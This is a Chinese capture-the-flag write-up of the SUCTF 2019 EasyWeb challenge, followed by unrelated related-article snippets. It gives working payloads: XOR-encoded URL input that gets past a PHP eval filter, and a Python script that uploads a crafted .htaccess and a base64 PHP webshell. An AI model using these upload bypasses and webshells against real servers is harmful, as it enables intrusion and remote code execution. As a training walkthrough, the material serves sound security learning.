[SUCTF 2019]EasyWeb --不会编程的崽

个人认为,这题还算有些东西。先来看源码

<?php
function get_the_flag(){// webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);if(!file_exists($userdir)){mkdir($userdir);}if(!empty($_FILES["file"])){$tmp_name = $_FILES["file"]["tmp_name"];$name = $_FILES["file"]["name"];$extension = substr($name, strrpos($name,".")+1);if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name;@move_uploaded_file($tmp_name, $path);print_r($path);}
}$hhh = @$_GET['_'];if (!$hhh){highlight_file(__FILE__);
}if(strlen($hhh)>18){die('One inch long, one inch strong!');
}if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )die('Try something else!');$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");eval($hhh);
?>

 还是很好理解,首先通过_传参,经过一系列过滤,然后执行参数。这里应该要去调用get_the_flag()函数。这个函数是一个文件上传的功能,首先获取你的ip并生成文件路径,在判断文件后缀是否含有ph(无论大小写),文件内容是否含有<?,在判断文件是否为图片。了解这些后,开始一步步攻破。

1.[\x00- 0-9A-Za-z]:匹配任意ASCII字符,包括数字和大小写字母。

    \'"\~_&.,|=`:匹配特定的字符,包括单引号、双引号、反引号、波浪线、下划线、和符号、逗      号、点号、竖线和等号。

 [\x7F]+:匹配ASCII码为127(十六进制为0x7F)的字符,即删除字符

  过滤了这些大概也能猜到要怎么绕过了吧,就是异或绕过。如果直接构造phpinfo会太长。所以构    造_GET

<?php
function finds($string){$index = 0;$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];for($i=27;$i<count($a);$i++){for($j=27;$j<count($a);$j++){$x = $a[$i] ^ $a[$j];for($k = 0;$k<strlen($string);$k++){if(ord($string[$k]) == $x){echo $string[$k]."\n";echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";$index++;if($index == strlen($string)){return 0;}}}}}
}
finds("_GET");
?>

?_=${%86%86%86%86^%d9%c1%c3%d2}{%d2}();&%d2=phpinfo

 其实flag已经找到了,哈哈哈

这应该是一个小瑕疵,还是用正常的解法吧。去访问get_the_flag()函数。

?_=${%86%86%86%86^%d9%c1%c3%d2}{%d2}();&%d2=get_the_flag

路径是remote_addr的md5值,这就是构造phpinfo的原因。这里就不太方便放出我的真实ip。 

 

访问一下确实存在

到这就要到下一步了,构造数据包。

第一步它过滤了后包含ph的后缀。ctf做多了应该明白了吧。大概率要传.htaccess或者在有php文件的情况下传.user.ini。这里使用htaccess。因为要检测是否为图片。所以头还得加上

#define width 1337
#define height 1337

第二过滤<?。这里使用base64编码绕过

第三,exif_imagetype()是否为图片,使用GIF89a之类的就行。因为要进行base64解码,如果单单只是GIF89a,解码会报错影响后边,所以构造GIF89a12就不会解码报错了。

没有上传入口就使用脚本上传

import requests
import base64htaccess = b"""#define width 1337
#define height 1337 
AddType application/x-httpd-php .txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_f65a0ca982c669865231909b0ec85a0c/shell.txt"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://4ec51500-93fb-4c41-b573-4f0ad09c5c40.node5.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%d2}();&%d2=get_the_flag"files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)files = {'file':('shell.txt',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

 拿蚁剑连接一下,发现看不了根目录,估计又是disable_function。使用下边这个工具模式绕过它

 可以自己去下载

 

flag就在根目录下边 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/713201.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Slurm作业系统

1、什么是计算机集群 计算机集群是由多台独立的计算机&#xff08;节点&#xff09;通过网络连接在一起&#xff0c;以共同完成任务的一种计算机系统结构。集群系统旨在提高性能、可用性和可扩展性。以下是计算机集群的一般结构和组成要素&#xff1a; 节点&#xff08;Nodes&…

android Service 与 activity 通信 并不断传数据

注&#xff1a;这只是个Demo 以下载为案例&#xff0c;实现开启下载&#xff0c;暂停下载&#xff0c;下载进度不断发送给activity class DownloadService : Service() {override fun onBind(intent: Intent?): IBinder? {return MyBinder()}inner class MyBinder : Binder…

分布式任务调度平台XXL-JOB安装及使用

简介 XXL-JOB是一个分布式任务调度平台&#xff0c;其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线&#xff0c;开箱即用。 源码github地址 源码gitee地址 中文文档地址 中央仓库地址 <!-- http://repo1.maven.org/ma…

云原生团队如何实现加量不加价

随着云原生技术的快速发展&#xff0c;越来越多的业务实现了上云&#xff0c;云原生团队在工作量增大的同时也随之变成了所有问题对接的入口&#xff0c;如何承担这个保姆的角色成为了一道难题&#xff0c;故障的定界和问题证据的交接更是让人头疼的问题。在这种情况下需要有工…

Python Web开发记录 Day5:jQuery(JavaScript库)

名人说&#xff1a;莫道桑榆晚&#xff0c;为霞尚满天。——刘禹锡&#xff08;刘梦得&#xff0c;诗豪&#xff09; 创作者&#xff1a;Code_流苏(CSDN)&#xff08;一个喜欢古诗词和编程的Coder&#x1f60a;&#xff09; 目录 五、jQuery1、jQuery-选择器和菜单案例①快速上…

水经微图Web版1.6.0发布

让每一个人都有自己的地图&#xff01; 水经微图&#xff08;简称“微图”&#xff09;新版已上线&#xff0c;在该版本中主要新增了点线面图层分组样式设置、图层排序并按序绘制、KML支持矢量符号的存储、KML支持态势标绘要素存储和新增历史地图文本样式等。 现在&#xff0…

Linux系统加固:限制用户对资源的使用禁止IP源路由更改主机解析地址的顺序设置umask值

Linux系统加固&#xff1a;限制用户对资源的使用&禁止IP源路由&更改主机解析地址的顺序&设置umask值 1.1 限制用户对资源的使用1.2 禁止IP源路由1.3 更改主机解析地址的顺序1.4 禁止ip路由转发1.5 设置umask值 &#x1f496;The Begin&#x1f496;点点关注&#x…

Node 实现身份认证 token 的生成与应用

前后分离要用jwt进行认证&#xff0c;跨域 前后不分离要用session进行认证&#xff0c;不跨域 安装 npm init npm install express npm install cors(解决跨域问题 ) npm install jsonwebtoken&#xff08;生成token字符串&#xff09; npm install express-jwt7(反转成信…

AtCoder Beginner Contest 341

C - Takahashi Gets Lost 分析&#xff1a;数据小&#xff0c;暴力没什么好说的 int h,w,n; string t; char c[505][505]; int dx[4]{1,-1,0,0}; int dy[4]{0,0,1,-1}; int get(char c){if(cL)return 3;if(cU)return 1;if(cR)return 2;return 0; } int check(int x,int y,int …

38.云原生之Istio安全-流量鉴权加密

云原生专栏大纲 文章目录 TLS 和 mTLSTLS 和 mTLS使用场景TLS 加密通信的流程终止 TLS什么时候用 mTLS&#xff1f;什么时候不用 mTLS&#xff1f; 流量加密入口流量加密内部流量加密PeerAuthentication 为工作负载设置 mTLSDestinationRule 为工作负载设置 mTLS 安全最佳实战…

day07_分类管理EasyExcel品牌管理

文章目录 1 分类管理1.1 菜单添加1.2 表结构介绍1.3 页面制作1.4 列表查询1.4.1 需求分析1.4.2 后端接口CategoryCategoryControllerCategoryServiceCategoryMapperCategoryMapper.xml 1.4.3 前端对接category.jscategory.vue 2 EasyExcel2.1 数据导入导出意义2.2 EasyExcel简介…

ABAP - SALV教程 01- 开篇:打开SALV的三种方式之一

关于SALV&#xff0c;这里参考巨佬江正军的文章讲解&#xff0c;在做SAP开发的遇到困难和瓶颈的时候&#xff0c;每每读到巨佬的文章都会灵感爆发、醍醐灌顶。https://www.cnblogs.com/jiangzhengjun/p/4291387.html 博主由于是由JAVA转型的ABAP开发&#xff0c;刚接触ABAP的时…

力扣细节题:判断是否为平衡二叉树

经典题&#xff0c;需要记忆&#xff0c;且注意fabs和fmax函数的使用 /*** Definition for a binary tree node.* struct TreeNode {* int val;* struct TreeNode *left;* struct TreeNode *right;* };*/int deep(struct TreeNode*root){if(rootNULL){return 0;}r…

永磁同步电机无感FOC(龙伯格观测器)算法技术总结-实战篇

文章目录 1、ST龙伯格算法分析&#xff08;定点数&#xff09;1.1 符号说明1.2 最大感应电动势计算1.3 系数计算1.4 龙伯格观测器计算1.5 锁相环计算1.6 观测器增益计算1.7 锁相环PI计算&#xff08;ST&#xff09;1.8 平均速度的用意 2、启动策略2.1 V/F压频比控制2.2 I/F压频…

swift 长按桌面图标弹出快捷选项

文章目录 一、3D Touch二、主屏交互1. 静态添加2. 动态添加三、监听主屏交互按钮的点击事件四、预览和跳转1. 注册3D touch2. 实现协议3. 在目标控制器复写previewActionItems4. 使用UIContextMenuConfiguration一、3D Touch 3D Touch通过屏幕下方的压力感应器来感知不同的压力…

数据库管理-第157期 Oracle Vector DB AI-08(20240301)

数据库管理157期 2024-03-01 数据库管理-第157期 Oracle Vector DB & AI-08&#xff08;20240301&#xff09;1 创建示例向量2 查找最近向量3 基于向量簇组的最近向量查询总结 数据库管理-第157期 Oracle Vector DB & AI-08&#xff08;20240301&#xff09; 作者&…

基于小波神经网络的数据分类算法matlab仿真

目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.本算法原理 1.程序功能描述 基于小波神经网络的数据分类算法。输入为5个特征值&#xff0c;输出为判断&#xff08;是&#xff0c;否&#xff09;。拿50组数据对本算法作为训练组&#xff0c;后30组数据作…

深入学习NumPy库在数据分析中的应用场景

在数据科学与机器学习领域&#xff0c;NumPy&#xff08;Numerical Python&#xff09;是一个经常被提及的重要工具。它是Python语言中一个非常强大的库&#xff0c;提供了高性能的多维数组对象以及用于处理这些数组的工具。NumPy不仅仅是一个用于数值计算的库&#xff0c;它还…

基于粒子群优化算法的图象聚类识别matlab仿真

目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.本算法原理 5.完整程序 1.程序功能描述 基于粒子群优化算法的图象聚类识别。通过PSO优化方法&#xff0c;将数字图片的特征进行聚类&#xff0c;从而识别出数字0~9. 2.测试软件版本以及运行结果展示 M…

【测试开发面试复习(一)】计算机网络:应用层详解(P2)补充ing

复习自用&#xff0c;若有错漏&#xff0c;欢迎一起交流一下~~ 一、高频面试题记录 uri 和 url 的区别 &#xff1f; dns 是啥工作原理&#xff0c;主要解析过程是啥&#xff1f; 用户输入网址到显示对应页面的全过程是啥&#xff1f; http 头部包含哪些信息&#xff1f; http…